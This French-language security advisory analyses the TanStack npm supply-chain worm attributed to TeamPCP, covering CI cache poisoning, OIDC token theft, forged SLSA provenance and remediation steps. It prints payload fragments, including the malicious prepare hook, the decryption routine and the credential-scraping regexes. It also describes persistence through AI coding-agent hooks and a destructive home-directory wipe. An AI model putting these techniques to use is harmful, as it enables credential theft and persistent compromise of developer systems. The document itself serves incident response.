Attaque de la chaîne d’approvisionnement : les packages npm de TanStack compromis par Mini Shai-Hulud

Packages npm TanStack compromis : dans les coulisses de l’attaque de la chaîne d’approvisionnement Mini Shai-Hulud

Le 11 mai 2026, entre 19 h 20 et 19 h 26 UTC, 84 artefacts npm malveillants ont été publiés dans 42 packages de l’espace de noms @tanstack. Les packages n’ont pas été publiés par un attaquant ayant dérobé des identifiants : ils l’ont été par le pipeline de publication légitime de TanStack, avec son identité OIDC de confiance, après que du code contrôlé par l’attaquant a détourné le runner en plein workflow. En quelques heures, les versions malveillantes se sont propagées chez Mistral AI, UiPath et des dizaines d’autres responsables de maintenance. À lui seul, @tanstack/react-router totalise plus de 12,7 millions de téléchargements par semaine (API npm).

StepSecurity attribue l’incident au groupe menaçant connu sous le nom de TeamPCP. Il s’agit également du premier cas documenté de package npm malveillant accompagné d’une provenance SLSA valide. La provenance SLSA est un certificat cryptographique généré par Sigstore, censé vérifier qu’un package a été compilé à partir d’une source de confiance. Le ver a pu produire ces certificats parce qu’il a détourné le pipeline de compilation légitime lui-même ; Sigstore a correctement vérifié le processus de compilation. En revanche, SLSA ne garantit pas que le code compilé était sûr.

Si votre équipe a installé une version affectée de @tanstack/* le 11 mai, considérez l’environnement d’installation comme compromis et faites tourner tous les secrets accessibles depuis cet hôte. Poursuivez votre lecture pour consulter la liste complète des packages, l’analyse technique et les mesures correctives détaillées.

CVE : CVE-2026-45321 | GHSA : GHSA-g7cv-rxg3-hmpx | Gravité : Critique

Quatrième vague : contexte de la campagne

L’attaque contre TanStack n’est pas un incident isolé. C’est la dernière vague d’une série d’attaques de la chaîne d’approvisionnement npm utilisant l’arsenal du ver Shai-Hulud. TeamPCP, le groupe auquel StepSecurity attribue cette attaque, est également responsable de la compromission du scanner Trivy d’Aqua Security (mars 2026) et du package npm Bitwarden CLI (avril 2026). Les vagues précédentes de Shai-Hulud (septembre et novembre 2025) utilisaient le même arsenal, mais n’ont pas été attribuées à TeamPCP.

Chaque vague s’appuie sur la sophistication technique de la précédente. La quatrième vague se distingue non pas par son ampleur (la deuxième était plus importante), mais par son résultat : la publication de packages malveillants impossibles à distinguer des packages légitimes à partir de leur attestation de provenance, une caractéristique qu’aucune attaque de la chaîne d’approvisionnement précédente n’avait démontrée.

TeamPCP a publiquement revendiqué l’attaque. Le groupe est également suivi sous les pseudonymes DeadCatx3, PCPcat, ShellForce et CipherForce. Unit 42 a documenté le partenariat annoncé entre le groupe et le groupe de rançongiciels Vect, sur la base d’une annonce publiée sur BreachForums.

La CISA a publié des avis concernant la vague initiale de septembre 2025 et la compromission de tj-actions/changed-files (mars 2025), qui a documenté pour la première fois la technique d’extraction de jetons OIDC réutilisée lors de cette attaque.

Ce qui a été touché

La famille de routeurs TanStack était le vecteur initial, mais le mécanisme d’auto-propagation du ver a rapidement étendu le périmètre de l’attaque.

Packages TanStack (42 packages, 84 versions — deux par package) :

La liste complète des 42 packages figure dans GHSA-g7cv-rxg3-hmpx et la base de données de sécurité de Snyk. Familles dont l’absence de compromission a été confirmée : @tanstack/query*, @tanstack/table*, @tanstack/form*, @tanstack/virtual*, @tanstack/store.

Victimes secondaires (propagation par le ver) :

En fin de journée, au moins 170 packages affectés avaient été répertoriés dans la base de données de sécurité de Snyk. @mistralai/mistralai est également répertorié dans la base de données des packages malveillants de l’OSSF sous la référence MAL-2026-3432 (GHSA-3q49-cfcf-g5fm).

Déroulement de l’attaque : trois vulnérabilités enchaînées

L’analyse post-incident de TanStack est détaillée. Trois vulnérabilités ont été enchaînées ; aucune n’aurait suffi à elle seule.

Étape 1 : Pwn Request via pull_request_target

Le 10 mai 2026, l’attaquant a créé un fork de TanStack/router sous le compte zblgg (ID GitHub 127806521), qu’il a délibérément nommé zblgg/configuration pour qu’il n’apparaisse pas dans les recherches de listes de forks. Un commit malveillant (65bf499d) a été rédigé sous l’identité fabriquée claude <claude@users.noreply.github.com>, usurpant l’application GitHub Anthropic Claude, et précédé de [skip ci] pour empêcher le lancement de la CI automatisée lors du push.

Le 11 mai à 10 h 49, l’attaquant a ouvert la PR nº 7378 sur TanStack/router#main, intitulée « WIP: simplify history build », déclenchant une mauvaise configuration connue : le workflow bundle-size.yml de TanStack utilisait le déclencheur pull_request_target, mais récupérait la référence de fusion du fork et exécutait le code contrôlé par le fork :

1on:
2  pull_request_target:
3    paths: ['packages/**', 'benchmarks/**']
4
5jobs:
6  benchmark-pr:
7    steps:
8      - uses: actions/checkout@v6.0.2
9        with:
10          ref: refs/pull/${{ github.event.pull_request.number }}/merge  # fork code
11
12      - uses: TanStack/config/.github/setup@main  # calls actions/cache@v5
13
14      - run: pnpm nx run @benchmarks/bundle-size:build  # executes fork-controlled code

Cette technique de « Pwn Request » a été documentée et démontrée pour la première fois contre Angular, MDN et hyperledger/besu par le chercheur en sécurité Adnan Khan en mai 2024. Le déclencheur pull_request_target s’exécute dans le contexte de sécurité du dépôt de base ; le code du fork avait donc accès à l’espace de cache du dépôt de base et au GITHUB_TOKEN.

Étape 2 : empoisonnement du cache GitHub Actions

Le fichier malveillant vite_setup.mjs provenant du fork n’a pas immédiatement exfiltré de données. Il a plutôt empoisonné le magasin de packages pnpm sous la clé de cache exacte que release.yml utiliserait ensuite :

1Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

Cette clé a été calculée à l’avance à partir du fichier public pnpm-lock.yaml, avec la même formule hashFiles('**/pnpm-lock.yaml') que celle utilisée par le workflow. L’entrée de cache empoisonnée de 1,1 Go a été enregistrée à 11 h 29 et est restée indétectée pendant près de huit heures, jusqu’à ce qu’un push légitime sur la branche main déclenche release.yml à 19 h 15.

L’auteur de bundle-size.yml avait tenté de séparer les niveaux de confiance — en isolant la tâche de benchmark et en indiquant que les autorisations n’étaient pas fiables — mais a omis un comportement critique de GitHub Actions : la sauvegarde après l’exécution de actions/cache@v5 utilise un jeton interne au runner, et non le GITHUB_TOKEN du workflow. Par conséquent, permissions: contents: read n’empêche pas l’écriture dans le cache. L’espace de cache est également partagé entre les exécutions de pull_request_target et les push sur la branche de base, créant une fenêtre d’empoisonnement entre les deux périmètres.

Étape 3 : extraction du jeton OIDC de la mémoire du runner

release.yml dispose de l’autorisation id-token: write, nécessaire à l’association d’un éditeur de confiance OIDC par npm. Lorsque les binaires contrôlés par l’attaquant, issus du magasin pnpm empoisonné, ont été exécutés pendant la phase de compilation, ils ont utilisé une technique documentée lors de la compromission de tj-actions/changed-files en mars 2025 ; l’analyse post-incident de TanStack indique que l’attaquant a utilisé « la même technique d’extraction de la mémoire (et le même script Python, reproduit à l’identique, avec un commentaire d’attribution) » que lors de cet incident :

1. Localiser le processus Runner.Worker via /proc/*/cmdline

2. Lire /proc/<pid>/maps et /proc/<pid>/mem pour extraire l’espace d’adressage du worker

3. Extraire le jeton OIDC, que le runner génère paresseusement en mémoire lorsque id-token: write est défini

4. Envoyer directement une requête POST à registry.npmjs.org en s’authentifiant comme le workflow de publication légitime de TanStack

L’étape prévue du workflow, Publish Packages, n’a jamais été exécutée : les tests ont échoué et l’étape a été ignorée. La publication malveillante a tout de même eu lieu, authentifiée par un jeton OIDC valide et accompagnée d’une provenance SLSA valide, car l’attaquant a extrait le jeton avant la fin du workflow.

Deux exécutions de publication ont eu lieu. Toutes deux se sont terminées avec status: failure. npm a reçu 84 publications de packages valides, signées et accompagnées d’une attestation de provenance, lors des exécutions 25613093674 et 25691781302.

Dans la charge utile : router_init.js

Le fichier de 2,3 Mo router_init.js a été dissimulé à la racine de chaque archive tar compromise. Ce fichier n’étant pas déclaré dans le champ files du package, cela prouve que l’archive a été altérée en dehors du processus de compilation habituel. Une entrée optionalDependencies a également été injectée dans chaque package :

1"optionalDependencies": {
2  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
3}

Le hachage du commit renvoie à un commit orphelin dans le fork de l’attaquant, que GitHub affiche sous l’URL légitime de TanStack/router en raison du partage des objets de commit entre les réseaux de forks. L’URL semble officielle, mais le commit ne l’est pas. Lorsqu’il résout la dépendance, npm récupère et exécute un hook de cycle de vie prepare :

1{
2  "scripts": {
3    "prepare": "bun run tanstack_runner.js && exit 1"
4  }
5}

Le && exit 1 est intentionnel : la dépendance facultative « échoue » sans bloquer l’installation, laissant très peu de traces dans les journaux, alors que la charge utile s’exécute déjà en arrière-plan.

Remarque défensive importante : en tant que gestionnaire de packages, Bun n’exécute pas les scripts de cycle de vie par défaut. Les développeurs qui ont installé directement les packages affectés avec Bun n’ont donc pas déclenché ce vecteur de distribution particulier de la charge utile. Les machines sur lesquelles Bun était déjà installé provoquent également une sortie anticipée lors de la vérification hasCommand("bun") de la charge utile. Cela ne fait pas de Bun une solution d’atténuation complète : le fichier router_init.js est toujours présent dans l’archive tar. Mais cela réduit la surface d’attaque au moment de l’installation.

Trois couches d’obfuscation

router_init.js utilise un mécanisme de protection en trois couches, décrit dans l’analyse complète de la désobfuscation par Upwind Security (réalisée avec webcrack 2.16.0, qui a produit 221 771 lignes de JavaScript lisible à partir du blob obfusqué de 11,7 Mo) :

Couche 1 : le modèle classique de JavaScript Obfuscator : une fonction d’initialisation auto-exécutée qui fait tourner un tableau de chaînes, suivie d’une fonction de dispatch (_0x253b) appelée 2 864 fois sur une seule ligne de code source. Tous les littéraux de chaîne sont remplacés par des recherches dans le tableau.

Couche 2 : un chiffrement de substitution Fisher-Yates appliqué octet par octet. La clé est dérivée par PBKDF2-SHA256 avec la clé maître codée en dur 0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2186c40aa et le sel svksjrhjkcejg, au terme de 200 000 itérations — volontairement lentes pour entraver l’analyse automatisée. Cette couche déchiffre 396 chaînes uniques, dont des domaines C2, des chemins d’accès aux identifiants et le nom interne de la campagne : EveryBoiWeBuildIsAWormyBoi.

Couche 3 : 11 charges utiles chiffrées en AES-256-GCM et compressées avec gzip, dont le déchiffrement nécessite l’environnement d’exécution Bun (Bun.gunzipSync). La fonction de chiffrement récupérée lors de la désobfuscation :

1function w8(key, encryptedData) {
2  let keyBuf     = Buffer.from(key, 'base64');
3  let dataBuf    = Buffer.from(encryptedData, 'hex');
4  let iv         = dataBuf.subarray(0, 12);
5  let authTag    = dataBuf.subarray(12, 28);
6  let ciphertext = dataBuf.subarray(28);
7  let decipher   = createDecipheriv('aes-256-gcm', keyBuf, iv);
8  decipher.setAuthTag(authTag);
9  return new TextDecoder().decode(Bun.gunzipSync(
10    Buffer.concat([decipher.update(ciphertext), decipher.final()])
11  ));
12}

Le même PRNG Fisher-Yates ctf-scramble-v2 (initialisé avec 0x3039 / 12345) apparaît à l’identique dans les vagues Bitwarden CLI, SAP et TanStack — Unit 42 l’a identifié comme un indice d’une même paternité, reliant les trois attaques à la même base de code.

Exécution en arrière-plan

Avant toute action visible, la charge utile vérifie process.env.__DAEMONIZED. Si la variable n’est pas définie, elle crée un processus enfant entièrement détaché, avec toutes les entrées-sorties standard désactivées, puis appelle unref() pour que Node.js n’attende pas la fin du processus. Le processus parent se termine normalement ; le processus enfant s’exécute silencieusement, indépendamment de la session de terminal qui a lancé npm install.

Collecte d’identifiants

La charge utile passe systématiquement en revue tous les principaux types d’identifiants utilisés dans les environnements CI natifs du cloud. À noter : le scrapper de mémoire du runner ignore délibérément les jetons nommés explicitement github_token — probablement pour éviter de déclencher le système de détection des secrets de GitHub sur les données exfiltrées.

GitHub Actions :

• Lectures directes : GITHUB_REPOSITORY, GITHUB_SERVER_URL, ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL

• API REST GitHub : GET /repos/<repo>/actions/secrets?per_page=100 (maximum de l’API)

AWS :

• Variables d’environnement : AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION, AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

• IMDSv2 (correctement implémenté — fonctionne sur les instances renforcées où IMDSv1 est désactivé)

• Point de terminaison ECS Task Metadata (169.254.170.2)

• Énumération multirégionale de Secrets Manager et de SSM Parameter Store

HashiCorp Vault :

• VAULT_TOKEN, VAULT_ADDR, VAULT_AUTH_TOKEN

• Appels directs à l’API vault.svc.cluster.local:8200 (point de terminaison Vault interne à Kubernetes)

Kubernetes :

• Jetons de compte de service dans /var/run/secrets/kubernetes.io/serviceaccount/

• Associé au point de terminaison Vault : voler le jeton K8s → s’authentifier auprès de Vault → récupérer tous les secrets Vault

Cibles sur les postes de travail :

• ~/.npmrc, ~/.git-credentials, clés privées SSH dans ~/.ssh/

• Métadonnées GCP et fichiers d’identifiants de fournisseurs cloud, répartis sur plus de 100 chemins sous Linux et macOS

• ~/.claude/projects/*.jsonl — fichiers d’historique de sessions Claude Code contenant du code, des commandes et potentiellement des identifiants qui figuraient dans des sessions Claude Code précédentes

Modèles d’expressions régulières pour les jetons récupérés après désobfuscation :

1{
2  npmtoken:   /npm_[A-Za-z0-9]{36,}/g,
3  ghtoken:    /gh[op]_[A-Za-z0-9]{36}/g,
4  vaultToken: /hvs\.[A-Za-z0-9_-]{24,}/g,
5  k8sToken:   /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-.]+/g,
6  awsKey:     /AKIA[0-9A-Z]{16}/g,
7}

Exfiltration et dépôts clandestins

Les données volées sont chiffrées et envoyées via le réseau de messagerie P2P décentralisé Session/Oxen (filev2.getsession[.]org, seed{1,2,3}.getsession.org). Il n’y a pas de serveur C2 contrôlé par l’attaquant ; le trafic transite par les nœuds de service basés sur onion de Session et ne peut pas être distingué de la télémétrie d’une application de messagerie chiffrée. Le blocage au niveau IP est inefficace ; le blocage DNS de *.getsession.org constitue le contrôle périmétrique pratique.

D’autres données sont exfiltrées via l’API GraphQL de GitHub, au moyen de commits servant de dépôts clandestins : auteur claude@users.noreply.github.com (usurpant l’identité de l’application GitHub Anthropic Claude), message chore: update dependencies, et noms de branches de type Dependabot tirés de l’univers de Dune de Frank Herbert, dependabout/…/setup-formatter (à noter : « dependabout », et non « dependabot »). Le point de terminaison GraphQL de GitHub figure dans la liste d’autorisation de pratiquement toutes les politiques de sortie réseau CI ; ce canal contourne donc entièrement les contrôles périmétriques.

La charge utile injecte également .github/workflows/codeql_analysis.yml dans chaque dépôt accessible et exfiltre toJSON(secrets) à chaque push, récupérant ainsi l’ensemble du contexte des secrets GitHub Actions des organisations victimes.

Un mécanisme de récupération de secours recherche sur GitHub les commits contenant la chaîne magique OhNoWhatsGoingOnWithGitHub afin de récupérer les jetons exfiltrés auparavant par d’autres victimes.

Auto-propagation

Après avoir exfiltré les identifiants, le ver interroge :

1GET https://registry.npmjs.org/-/v1/search?text=maintainer:<username>

Il republie ensuite chaque package en utilisant l’identité OIDC volée, avec la même injection router_init.js et la même entrée optionalDependencies. La propagation a touché plus de 200 packages au-delà des 84 versions @tanstack/* initiales, comme le documente la base de données de sécurité de Snyk. C’est ainsi que le ver s’est propagé à Mistral AI, UiPath et des dizaines d’autres victimes indirectes.

Point crucial : le ver utilise generateKeyPairSync et sign pour forger des attestations de provenance in-toto compatibles avec Sigstore pour chaque package qu’il republie. Les packages des victimes indirectes semblent donc eux aussi avoir une provenance SLSA valide ; le mode de défaillance des attestations SLSA concerne les packages propagés par le ver, et pas uniquement la publication initiale de TanStack.

Persistance : la désinstallation ne suffit pas

Le ver dépose des copies de lui-même dans les répertoires des outils de développement pour survivre à npm uninstall et aux redémarrages :

Hooks Claude Code (.claude/) :

1<project>/.claude/router_runtime.js   # payload self-copy
2<project>/.claude/settings.json       # hooks config: runs on every tool event
3<project>/.claude/setup.mjs           # ESM loader shim

La configuration hooks de Claude Code peut exécuter des commandes shell en réponse à des événements liés aux outils, comme la modification de fichiers ou l’exécution de commandes bash. En s’insérant dans .claude/settings.json, le ver s’exécute à nouveau chaque fois qu’un développeur utilise Claude Code dans le répertoire de projet affecté.

VS Code (.vscode/) :

1<project>/.vscode/setup.mjs           # ESM loader shim
2<project>/.vscode/tasks.json          # runs setup.mjs on folder open

L’exécution automatique des tâches d’espace de travail de VS Code fournit un vecteur d’exécution indépendant. Ensemble, ces deux mécanismes signifient qu’un développeur ayant exécuté npm install sur une version affectée peut compromettre à nouveau son environnement chaque fois qu’il ouvre son éditeur.

Play Video: Nx npm Malware Explained: AI Agent Hijacking

Le malware Nx sur npm expliqué : détournement d’agents IA — Découvrez comment les malwares de la chaîne d’approvisionnement exploitent les tâches VS Code et les hooks des agents de programmation IA comme mécanismes de persistance, avec une analyse de la campagne du ver Nx sur npm qui a utilisé des techniques identiques.

Mécanisme à déclenchement automatique au niveau du système :

1~/.local/bin/gh-token-monitor.sh                    # Linux
2~/.config/systemd/user/gh-token-monitor.service     # Linux
3~/Library/LaunchAgents/com.user.gh-token-monitor.plist  # macOS

Ce service interroge api.github.com/user toutes les 60 secondes à l’aide du jeton GitHub volé. Si le jeton est révoqué (réponse HTTP 40x), il exécute rm -rf ~/ et détruit le répertoire personnel de l’utilisateur.

L’ordre des mesures correctives est crucial : désactivez le service de surveillance avant de révoquer les identifiants. Si vous commencez par la révocation, vous risquez de déclencher la destruction du répertoire personnel. Le chercheur carlini a identifié ce comportement de manière indépendante dans un commentaire sur le problème GitHub #4425225340 ; la communauté HN l’a également signalé dans les heures qui ont suivi l’attaque.

Le problème de la provenance SLSA

Cette attaque constitue le premier cas documenté d’un ver npm générant des attestations de provenance SLSA Build Level 3 valides pour des packages malveillants. Les attestations Sigstore des versions @tanstack/* compromises sont légitimes : elles attestent correctement que les packages ont été créés et publiés par release.yml, exécuté sur refs/heads/main dans le dépôt TanStack/router. Tout cela est vrai.

La provenance SLSA atteste qu’un package a été créé lors d’une exécution de GitHub Actions d’un dépôt spécifique. Elle n’atteste pas que le workflow était autorisé à s’exécuter, qu’il provenait d’une branche protégée ou que le commit à l’origine de son déclenchement était légitime.

La configuration OIDC vulnérable :

1# Vulnerable: trusts the entire repository
2Trusted publisher: Repository: tanstack/router

La configuration sécurisée :

1# Secure: pins to specific branch and workflow
2Trusted publisher:
3  Repository: tanstack/router
4  Workflow: .github/workflows/release.yml
5  Branch: refs/heads/main

Tout package npm utilisant la publication de confiance OIDC sans verrouiller la branche et le workflow est vulnérable à ce type d’attaque. Les attestations de provenance restent indispensables à la sécurité de la chaîne d’approvisionnement, mais elles ne suffisent pas à elles seules. L’analyse comportementale au moment de l’installation constitue un contrôle complémentaire. L’analyse comportementale automatisée a détecté les anomalies dans router_init.js et signalé les 84 artefacts affectés dans les six minutes suivant leur publication, avant même qu’un analyste humain n’examine les packages.

Mesures à prendre immédiatement

Étape 0 : déterminez si vous êtes exposé

Vérifiez si une version affectée a été déployée dans vos environnements, sans exécuter de scripts :

1# Safe inspection: downloads tarball without executing lifecycle scripts
2npm pack @tanstack/react-router@1.169.5 --dry-run
3
4# Or manually unpack and inspect
5npm pack @tanstack/<name>@<version>
6tar -xzf *.tgz
7grep -A3 optionalDependencies package/package.json
8ls -la package/router_init.js   # present = compromised version

1# Check by hash
2find . -name "router_init.js" -exec shasum -a 256 {} \;
3# Compromised hash: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c

1# Check for the malicious optionalDependency marker in installed packages
2find node_modules/@tanstack -name "package.json" | \
3  xargs grep -l "voicproducoes\|79ac49eedf"

Étape 1 : éliminez la persistance AVANT de renouveler les identifiants

Si vous détectez des signes de compromission, désactivez le kill switch avant toute autre action :

1# Linux — stop and disable the monitoring service
2systemctl --user stop gh-token-monitor.service 2>/dev/null
3systemctl --user disable gh-token-monitor.service 2>/dev/null
4rm -f ~/.config/systemd/user/gh-token-monitor.service
5rm -f ~/.local/bin/gh-token-monitor.sh
6
7# macOS — unload the LaunchAgent
8launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
9rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

Supprimez ensuite les hooks de persistance de l’éditeur :

1# Claude Code hooks
2cat ~/.claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
3cat .claude/settings.json 2>/dev/null | grep -i "router_runtime\|setup.mjs"
4# Remove router_runtime.js, setup.mjs, and any suspicious hook entries
5
6# VS Code tasks
7cat .vscode/tasks.json 2>/dev/null
8# Remove any task referencing setup.mjs or router_runtime.js
9
10# Check for injected GitHub Actions workflow
11ls .github/workflows/codeql_analysis.yml 2>/dev/null
12# If present and you didn't add it, it's likely the injected exfil workflow — remove it

1# Check for dead-drop commits authored as the Claude bot
2git log --all --author=claude@users.noreply.github.com
3# Revert any unexpected commits and force-push after confirming they're not legitimate

Étape 2 : renouvelez tous les secrets

Une fois les mécanismes de persistance supprimés, renouvelez les secrets dans cet ordre de priorité :

1. Jetons de publication npm et autorisations de fédération OIDC pour tout package npm publié depuis les dépôts affectés

2. Jetons GitHub PAT et jetons d’accès personnels à autorisations précises

3. Identifiants AWS (clés statiques et relations de confiance des rôles d’instance via IMDSv2)

4. Jetons HashiCorp Vault

5. Jetons de compte de service Kubernetes

6. Clés privées SSH

7. Identifiants de compte de service GCP

8. Tous les secrets visibles dans ~/.claude/projects/*.jsonl — les journaux de session Claude Code sont des cibles de collecte

Ne rétablissez les autorisations de fédération OIDC qu’après avoir confirmé que le workflow de publication est sain.

Étape 3 : mesures d’atténuation au niveau réseau

Bloquez *.getsession.org au niveau DNS. Le blocage par adresse IP ne suffit pas : le réseau Session utilise des nœuds de service distribués. Le blocage DNS constitue le contrôle périmétrique pratique.

Bloquez également : api.masscan.cloud et git-tanstack.com (autres domaines C2 de l’infrastructure de la campagne). Bloquez en sortie les URL des charges utiles de deuxième étape : litter.catbox.moe/h8nc9u.js et litter.catbox.moe/7rrc6l.mjs.

Étape 4 : vérifiez la configuration OIDC de GitHub Actions

Pour tout package npm utilisant la publication de confiance, verrouillez la configuration OIDC sur une branche et un fichier de workflow spécifiques :

1# Update your npm trusted publisher config to include:
2workflow: .github/workflows/release.yml
3branch: refs/heads/main
4# (not just repository: owner/repo)

Définissez permissions: id-token: none au niveau du workflow et n’accordez id-token: write qu’au job spécifique chargé de la publication :

1permissions:
2  id-token: none
3  contents: read
4
5jobs:
6  publish:
7    permissions:
8      id-token: write  # only this job, not the entire workflow

Étape 5 : vérifiez les workflows pull_request_target

Tout workflow utilisant pull_request_target qui récupère également le code d’un fork et écrit dans le cache est vulnérable à l’empoisonnement du cache. Utilisez plutôt pull_request (contexte du fork, accès en lecture seule) ou séparez entièrement l’exécution du code du fork des écritures dans le cache du dépôt de base.

Purgez les caches GitHub Actions existants de tout dépôt utilisant pull_request_target avec des écritures dans le cache :

1# GitHub CLI
2gh api /repos/OWNER/REPO/actions/caches --jq '.actions_caches[].id' | \
3  xargs -I{} gh api -X DELETE /repos/OWNER/REPO/actions/caches/{}

Verrouillez toutes les références d’actions tierces sur des SHA de commit, et non sur des tags :

1# Instead of:
2- uses: actions/cache@v5
3# Use:
4- uses: actions/cache@d4323d4df104b026a6aa633fdb11d772146be0bf

Étape 6 : imposez un délai avant l’utilisation des versions récentes

Les versions malveillantes sont restées disponibles pendant environ trois heures. Un délai de sept jours nous aurait entièrement protégés contre cette attaque spécifique (voir également : paramètres de renforcement de la chaîne d’approvisionnement pnpm) :

1# ~/.npmrc
2min-release-age=7
3ignore-scripts=true
4
5# ~/Library/Preferences/pnpm/rc
6minimum-release-age=10080   # minutes
7
8# ~/.bunfig.toml
9[install]
10minimumReleaseAge = 604800  # seconds
11
12# ~/.config/uv/uv.toml
13exclude-newer = "7 days"

Pensez également à utiliser allow-git=none avec npm v11+ pour empêcher l’installation des dépendances provenant d’URL Git (vecteur d’attaque de la dépendance facultative @tanstack/setup).

Étape 7 : ne vous fiez pas uniquement à la provenance SLSA

Cette attaque génère des attestations SLSA Build Level 3 valides pour des packages malveillants. La vérification de la provenance est nécessaire, mais ne suffit pas. Combinez-la avec une analyse comportementale au moment de l’installation et un outil qui vérifie les packages par rapport aux signatures malveillantes connues.

La couverture de Snyk

La base de données de sécurité de Snyk couvre l’attaque connexe contre la chaîne d’approvisionnement LiteLLM sur PyPI (SNYK-PYTHON-LITELLM-15762713), dans laquelle des versions modifiées de litellm ont été téléversées directement sur PyPI. Elles installaient un voleur d’identifiants en plusieurs étapes et une porte dérobée persistante, en utilisant la même technique de fichier .pth.

L’analyse approfondie de l’attaque LiteLLM par Snyk est disponible à l’adresse snyk.io/articles/poisoned-security-scanner-backdooring-litellm.

Snyk Open Source analyse votre arbre de dépendances à l’aide de la base de données de sécurité de Snyk et signale les versions de packages dont la compromission est connue. Si vous n’analysez pas encore vos projets, essayez Snyk gratuitement pour évaluer votre exposition actuelle.

Play Video: Shai-Hulud NPM Attack: Remediation with Snyk

Attaque Shai-Hulud sur NPM : remédiation avec Snyk — Découvrez comment utiliser Snyk pour identifier les packages compromis dans votre arbre de dépendances et remédier à l’exposition.

Résumé : indicateurs de compromission

Scripts de détection maintenus par la communauté : GLPMC/Tanstack-Worm-Detector et omarpr/mini-shai-hulud-ioc-scanner (pensez toutefois à les vérifier avant de les utiliser).